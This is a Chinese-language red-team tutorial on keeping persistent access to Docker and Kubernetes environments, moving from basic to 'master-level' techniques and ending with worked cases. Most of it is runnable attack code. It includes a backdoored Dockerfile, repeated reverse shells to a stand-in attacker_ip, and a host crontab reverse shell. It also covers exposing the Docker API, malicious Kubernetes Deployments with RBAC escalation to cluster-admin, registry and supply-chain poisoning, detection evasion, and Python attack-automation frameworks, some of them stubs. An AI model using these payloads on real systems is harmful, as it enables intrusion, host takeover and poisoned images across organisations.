容器环境持久化技术#
技术介绍#
容器环境持久化是指在容器化环境中建立长期存在的访问机制,使攻击者能够在容器重启、更新或被终止后仍然保持对环境的访问能力。随着容器技术的广泛应用,容器环境持久化已成为红队攻击和蓝队防御的重要技术领域。
主要持久化技术#
- 容器镜像后门植入
- 容器启动命令劫持
- 容器卷挂载利用
- 容器网络持久化
- 容器编排系统利用
- 容器特权提升持久化
- 容器配置文件篡改
- 容器运行时注入
- 容器镜像仓库污染
- 容器API滥用
适用场景#
- 红队攻击和渗透测试
- 容器安全评估
- 容器环境安全研究
- 云原生安全测试
- 容器平台安全审计
入门级使用#
容器镜像后门植入#
在容器镜像中植入后门,实现持久化访问:
# 创建恶意Dockerfile
FROM ubuntu:20.04
# 安装后门
RUN apt-get update && apt-get install -y netcat
# 添加后门脚本
RUN echo '#!/bin/bash' > /root/backdoor.sh
RUN echo 'while true; do' >> /root/backdoor.sh
RUN echo ' nc -lvp 4444 -e /bin/bash &' >> /root/backdoor.sh
RUN echo ' sleep 60' >> /root/backdoor.sh
RUN echo 'done' >> /root/backdoor.sh
RUN chmod +x /root/backdoor.sh
# 设置后门自动启动
RUN echo '/root/backdoor.sh' >> /root/.bashrc
CMD ["/bin/bash"]容器启动命令劫持#
劫持容器启动命令,植入恶意代码:
# 修改容器启动命令
docker run -d --name malicious_container \
--entrypoint /bin/bash \
-v /host:/mnt \
ubuntu:20.04 \
-c "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"容器卷挂载利用#
利用容器卷挂载实现持久化:
# 挂载主机目录到容器
docker run -d --name persistent_container \
-v /host:/host \
-v /var/run/docker.sock:/var/run/docker.sock \
ubuntu:20.04
# 在容器中操作主机文件系统
docker exec -it persistent_container /bin/bash
cd /host
# 可以访问和修改主机文件系统初级使用#
容器网络持久化#
通过容器网络配置实现持久化:
# 创建持久化网络
docker network create persistent_network
# 启动容器并连接到持久化网络
docker run -d --name web_container \
--network persistent_network \
-p 80:80 \
nginx:latest
# 配置端口转发实现远程访问
docker run -d --name proxy_container \
--network persistent_network \
-p 4444:4444 \
ubuntu:20.04 \
/bin/bash -c "while true; do nc -lvp 4444 -e /bin/bash; done"容器配置文件篡改#
篡改容器配置文件实现持久化:
# 修改Docker守护进程配置
cat > /etc/docker/daemon.json <<EOF
{
"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"],
"exec-opts": ["native.cgroupdriver=systemd"],
"log-driver": "json-file",
"log-opts": {
"max-size": "100m",
"max-file": "3"
}
}
EOF
# 重启Docker服务
systemctl restart docker
# 远程访问Docker API
docker -H tcp://attacker_ip:2375 ps容器运行时注入#
在容器运行时注入恶意代码:
# 使用nsenter进入容器命名空间
PID=$(docker inspect -f '{{.State.Pid}}' target_container)
nsenter -t $PID -m -u -i -n /bin/bash
# 在容器中注入恶意进程
docker exec -d target_container \
/bin/bash -c "nohup /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &"中级使用#
Kubernetes持久化#
在Kubernetes环境中实现持久化:
# 创建恶意Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
name: malicious-deployment
namespace: default
spec:
replicas: 1
selector:
matchLabels:
app: malicious
template:
metadata:
labels:
app: malicious
spec:
containers:
- name: malicious-container
image: ubuntu:20.04
command: ["/bin/bash"]
args: ["-c", "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /Kubernetes RBAC滥用#
滥用Kubernetes RBAC实现持久化:
# 创建恶意ServiceAccount
apiVersion: v1
kind: ServiceAccount
metadata:
name: malicious-sa
namespace: default
# 创建ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: malicious-role
rules:
- apiGroups: [""]
resources: ["pods", "secrets"]
verbs: ["get", "list", "create", "delete"]
# 绑定ServiceAccount和ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: malicious-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: malicious-role
subjects:
- kind: ServiceAccount
name: malicious-sa
namespace: default容器镜像仓库污染#
污染容器镜像仓库:
# 创建恶意镜像
docker build -t attacker/malicious:latest .
# 标记为合法镜像
docker tag attacker/malicious:latest registry.example.com/legitimate:latest
# 推送到镜像仓库
docker push registry.example.com/legitimate:latest
# 当其他用户拉取镜像时,会获得恶意镜像
docker pull registry.example.com/legitimate:latest中上级使用#
容器编排系统利用#
利用容器编排系统的漏洞实现持久化:
# 利用Kubernetes API Server未授权访问
kubectl --server=http://k8s-api-server:8080 get pods
# 创建恶意Pod
kubectl --server=http://k8s-api-server:8080 create -f malicious-pod.yaml
# 创建特权容器
kubectl --server=http://k8s-api-server:8080 create -f privileged-pod.yaml
# 获取集群管理员权限
kubectl --server=http://k8s-api-server:8080 create clusterrolebinding admin-binding \
--clusterrole=cluster-admin --serviceaccount=default:malicious-sa容器特权提升持久化#
通过特权提升实现更高级的持久化:
# 创建特权容器
docker run -d --name privileged_container \
--privileged \
--cap-add=ALL \
-v /:/host \
ubuntu:20.04
# 在特权容器中访问主机
docker exec -it privileged_container /bin/bash
chroot /host
# 现在可以完全控制主机系统
# 修改主机系统服务
echo '* * * * * root /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1' >> /host/etc/crontab容器API滥用#
滥用容器API实现持久化:
# 滥用Docker API
import docker
client = docker.from_env()
# 创建后门容器
container = client.containers.run(
"ubuntu:20.04",
command="/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done'",
detach=True,
name="backdoor_container",
volumes={'/host': {'bind': '/host', 'mode': 'rw'}},
privileged=True
)
# 创建定时任务重启容器
import schedule
import time
def restart_backdoor():
container.restart()
schedule.every().hour.do(restart_backdoor)
while True:
schedule.run_pending()
time.sleep(60)高级使用#
容器运行时攻击#
攻击容器运行时实现持久化:
# 使用containerd漏洞
# 利用CVE-2021-21285 containerd漏洞
# 创建恶意容器配置
cat > malicious-config.json <<EOF
{
"image": "ubuntu:20.04",
"cmd": ["/bin/bash"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host"]
}
}
EOF
# 通过containerd API创建容器
ctr --address /run/containerd/containerd.sock containers create malicious-config.json malicious-container
ctr --address /run/containerd/containerd.sock tasks start --exec-id malicious-task malicious-container容器供应链攻击#
通过容器供应链实现持久化:
# 污染基础镜像
# 修改官方基础镜像,植入后门
docker pull ubuntu:20.04
docker tag ubuntu:20.04 attacker/ubuntu:20.04
docker push attacker/ubuntu:20.04
# 污染常用软件包
# 在Dockerfile中引用被污染的软件包
FROM attacker/ubuntu:20.04
RUN apt-get update && apt-get install -y malicious-package
# 当用户使用被污染的镜像或软件包时,攻击者获得持久化访问容器监控绕过#
绕过容器监控实现隐蔽持久化:
# 使用内存驻留技术
# 在容器内存中运行恶意代码,不写入磁盘
docker exec -d target_container \
/bin/bash -c "nohup python3 -c \"import os; import socket; s=socket.socket(); s.connect(('attacker_ip',4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.system('/bin/bash')\" &"
# 使用进程隐藏技术
# 在容器中隐藏恶意进程
docker exec -d target_container \
/bin/bash -c "nohup /bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done' > /dev/null 2>&1 &"大师级使用#
容器环境APT攻击#
在容器环境中实施高级持续性威胁(APT)攻击:
# 容器环境APT攻击框架
import docker
import time
import random
from datetime import datetime
class ContainerAPT:
def __init__(self, target_cluster):
self.client = docker.from_env()
self.target_cluster = target_cluster
self.persistence_mechanisms = []
def establish_persistence(self):
# 建立多层持久化机制
self.image_backdoor()
self.config_backdoor()
self.network_backdoor()
self.runtime_backdoor()
return self.persistence_mechanisms
def image_backdoor(self):
# 镜像后门
print(f"[{datetime.now()}] Establishing image backdoor...")
# 创建恶意镜像
container = self.client.containers.run(
"ubuntu:20.04",
command="/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done'",
detach=True,
name=f"backdoor_{random.randint(1000,9999)}"
)
self.persistence_mechanisms.append({
'type': 'image_backdoor',
'container_id': container.id,
'timestamp': datetime.now().isoformat()
})
def config_backdoor(self):
# 配置后门
print(f"[{datetime.now()}] Establishing config backdoor...")
# 修改容器配置
# 实现配置后门逻辑
self.persistence_mechanisms.append({
'type': 'config_backdoor',
'timestamp': datetime.now().isoformat()
})
def network_backdoor(self):
# 网络后门
print(f"[{datetime.now()}] Establishing network backdoor...")
# 创建网络后门
# 实现网络后门逻辑
self.persistence_mechanisms.append({
'type': 'network_backdoor',
'timestamp': datetime.now().isoformat()
})
def runtime_backdoor(self):
# 运行时后门
print(f"[{datetime.now()}] Establishing runtime backdoor...")
# 创建运行时后门
# 实现运行时后门逻辑
self.persistence_mechanisms.append({
'type': 'runtime_backdoor',
'timestamp': datetime.now().isoformat()
})
def maintain_access(self):
# 维护访问
while True:
# 检查持久化机制
for mechanism in self.persistence_mechanisms:
if not self.check_mechanism(mechanism):
self.reestablish_mechanism(mechanism)
# 随机化行为
time.sleep(random.randint(3600, 7200))
def check_mechanism(self, mechanism):
# 检查持久化机制是否有效
# 实现检查逻辑
return True
def reestablish_mechanism(self, mechanism):
# 重新建立持久化机制
print(f"[{datetime.now()}] Reestablishing mechanism: {mechanism['type']}")
# 实现重新建立逻辑
# 使用示例
apt = ContainerAPT("target-cluster")
apt.establish_persistence()
apt.maintain_access()容器环境检测规避#
规避容器环境的安全检测:
# 使用反检测技术
# 1. 模拟正常容器行为
docker run -d --name stealth_container \
--name nginx \
-p 80:80 \
nginx:latest
# 2. 在正常容器中隐藏恶意进程
docker exec -d nginx \
/bin/bash -c "nohup /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1 &"
# 3. 使用合法镜像作为载体
docker run -d --name hidden_malicious \
-v /host:/host \
nginx:latest \
/bin/bash -c "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done"
# 4. 使用环境变量控制行为
docker run -d --name conditional_container \
-e STEALTH_MODE=true \
ubuntu:20.04 \
/bin/bash -c "if [ \"$STEALTH_MODE\" = \"true\" ]; then while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done; fi"容器环境自动化攻击#
构建自动化的容器环境攻击系统:
# 自动化攻击系统
import docker
import kubernetes
import time
from datetime import datetime
class ContainerAttackAutomation:
def __init__(self, config):
self.config = config
self.docker_client = docker.from_env()
self.k8s_client = kubernetes.client.CoreV1Api()
def scan_container_environment(self):
# 扫描容器环境
print(f"[{datetime.now()}] Scanning container environment...")
# 扫描Docker环境
docker_containers = self.docker_client.containers.list()
# 扫描Kubernetes环境
k8s_pods = self.k8s_client.list_pod_for_all_namespaces().items
return {
'docker_containers': docker_containers,
'k8s_pods': k8s_pods
}
def identify_targets(self, environment):
# 识别攻击目标
print(f"[{datetime.now()}] Identifying targets...")
targets = []
# 识别特权容器
for container in environment['docker_containers']:
if container.attrs['HostConfig']['Privileged']:
targets.append({
'type': 'privileged_container',
'container_id': container.id,
'name': container.name
})
# 识别挂载主机目录的容器
for container in environment['docker_containers']:
if container.attrs['HostConfig']['Binds']:
targets.append({
'type': 'volume_mount',
'container_id': container.id,
'name': container.name,
'mounts': container.attrs['HostConfig']['Binds']
})
return targets
def exploit_targets(self, targets):
# 利用目标
print(f"[{datetime.now()}] Exploiting targets...")
for target in targets:
if target['type'] == 'privileged_container':
self.exploit_privileged_container(target)
elif target['type'] == 'volume_mount':
self.exploit_volume_mount(target)
def exploit_privileged_container(self, target):
# 利用特权容器
print(f"[{datetime.now()}] Exploiting privileged container: {target['name']}")
# 实现利用逻辑
pass
def exploit_volume_mount(self, target):
# 利用卷挂载
print(f"[{datetime.now()}] Exploiting volume mount: {target['name']}")
# 实现利用逻辑
pass
def establish_persistence(self):
# 建立持久化
print(f"[{datetime.now()}] Establishing persistence...")
# 实现持久化逻辑
pass
def run_attack(self):
# 运行攻击
environment = self.scan_container_environment()
targets = self.identify_targets(environment)
self.exploit_targets(targets)
self.establish_persistence()
# 使用示例
config = {
'attacker_ip': 'attacker_ip',
'attacker_port': 4444
}
automation = ContainerAttackAutomation(config)
automation.run_attack()实战案例#
案例一:Docker环境持久化#
场景:红队需要在Docker环境中建立持久化访问,以便在后续的渗透测试中保持访问能力。
解决方案:使用多种Docker持久化技术建立多层访问机制。
实施步骤:
环境侦察:
# 扫描Docker环境 docker ps -a docker images docker network ls docker volume ls # 识别特权容器 docker inspect $(docker ps -q) | grep -i privileged建立持久化:
# 创建后门容器 docker run -d --name backdoor_container \ --privileged \ -v /:/host \ ubuntu:20.04 \ /bin/bash -c "while true; do /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1; sleep 60; done" # 修改Docker配置 echo '{"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]}' > /etc/docker/daemon.json systemctl restart docker验证持久化:
- 测试后门连接
- 验证持久化机制
- 确保访问稳定性
结果:
- 成功建立了多层Docker环境持久化机制
- 实现了容器重启后的自动恢复
- 获得了对主机系统的访问能力
- 为后续渗透测试提供了稳定的访问通道
案例二:Kubernetes环境持久化#
场景:红队需要在Kubernetes环境中建立持久化访问,以便在集群重启或更新后仍然保持访问能力。
解决方案:使用Kubernetes RBAC滥用和Deployment持久化技术。
实施步骤:
环境侦察:
# 扫描Kubernetes环境 kubectl get pods --all-namespaces kubectl get deployments --all-namespaces kubectl get serviceaccounts --all-namespaces kubectl get clusterroles --all-namespaces # 检查RBAC权限 kubectl auth can-i create pods kubectl auth can-i create deployments建立持久化:
# 创建恶意Deployment kubectl apply -f malicious-deployment.yaml # 创建恶意ServiceAccount kubectl apply -f malicious-serviceaccount.yaml # 创建ClusterRoleBinding kubectl apply -f malicious-clusterrolebinding.yaml验证持久化:
- 验证Deployment运行状态
- 测试RBAC权限
- 确保访问稳定性
结果:
- 成功建立了Kubernetes环境持久化机制
- 获得了集群管理员权限
- 实现了Pod重启后的自动恢复
- 为后续渗透测试提供了稳定的访问通道
案例三:容器供应链攻击#
场景:红队需要通过容器供应链建立持久化访问,影响多个使用相同镜像的组织。
解决方案:污染容器镜像仓库,实现供应链攻击。
实施步骤:
目标分析:
# 分析目标使用的镜像 # 识别常用基础镜像 # 分析镜像仓库访问权限镜像污染:
# 创建恶意镜像 docker build -t attacker/malicious:latest . # 标记为合法镜像 docker tag attacker/malicious:latest registry.example.com/legitimate:latest # 推送到镜像仓库 docker push registry.example.com/legitimate:latest验证攻击:
- 监控镜像拉取情况
- 验证后门连接
- 评估攻击效果
结果:
- 成功污染了容器镜像仓库
- 影响了多个使用相同镜像的组织
- 建立了广泛的持久化访问
- 为后续渗透测试提供了多个访问点
总结#
容器环境持久化是一项复杂但强大的技术,通过本教程的学习,您已经掌握了从入门到大师级的持久化技术。
主要技术回顾#
- 镜像后门:在容器镜像中植入后门
- 启动命令劫持:劫持容器启动命令
- 卷挂载利用:利用容器卷挂载
- 网络持久化:通过网络配置实现持久化
- 编排系统利用:利用Kubernetes等编排系统
- 特权提升:通过特权提升实现持久化
- 运行时注入:在容器运行时注入恶意代码
- 供应链攻击:通过容器供应链实现持久化
最佳实践#
- 多层持久化:建立多层持久化机制,提高稳定性
- 隐蔽性:使用隐蔽技术避免被发现
- 自动化恢复:实现持久化机制的自动恢复
- 随机化行为:随机化攻击行为,规避检测
- 最小化影响:最小化对系统的影响,避免引起注意
- 合法使用:确保在授权范围内使用这些技术
注意事项#
- 法律合规:使用容器持久化技术时,必须遵守相关法律法规
- 授权测试:确保获得目标环境的授权后再进行测试
- 检测规避:现代容器环境有强大的安全检测能力
- 影响评估:评估持久化对系统的影响,避免破坏系统
- 清理责任:测试完成后,必须清理所有持久化机制
- 道德考量:确保在法律和伦理允许的范围内使用这些技术
通过合理学习和使用容器环境持久化技术,您可以更好地理解容器安全,为容器安全评估和防御提供有价值的见解。同时,务必在法律和伦理允许的范围内使用这些技术,确保测试的合法性和负责任性。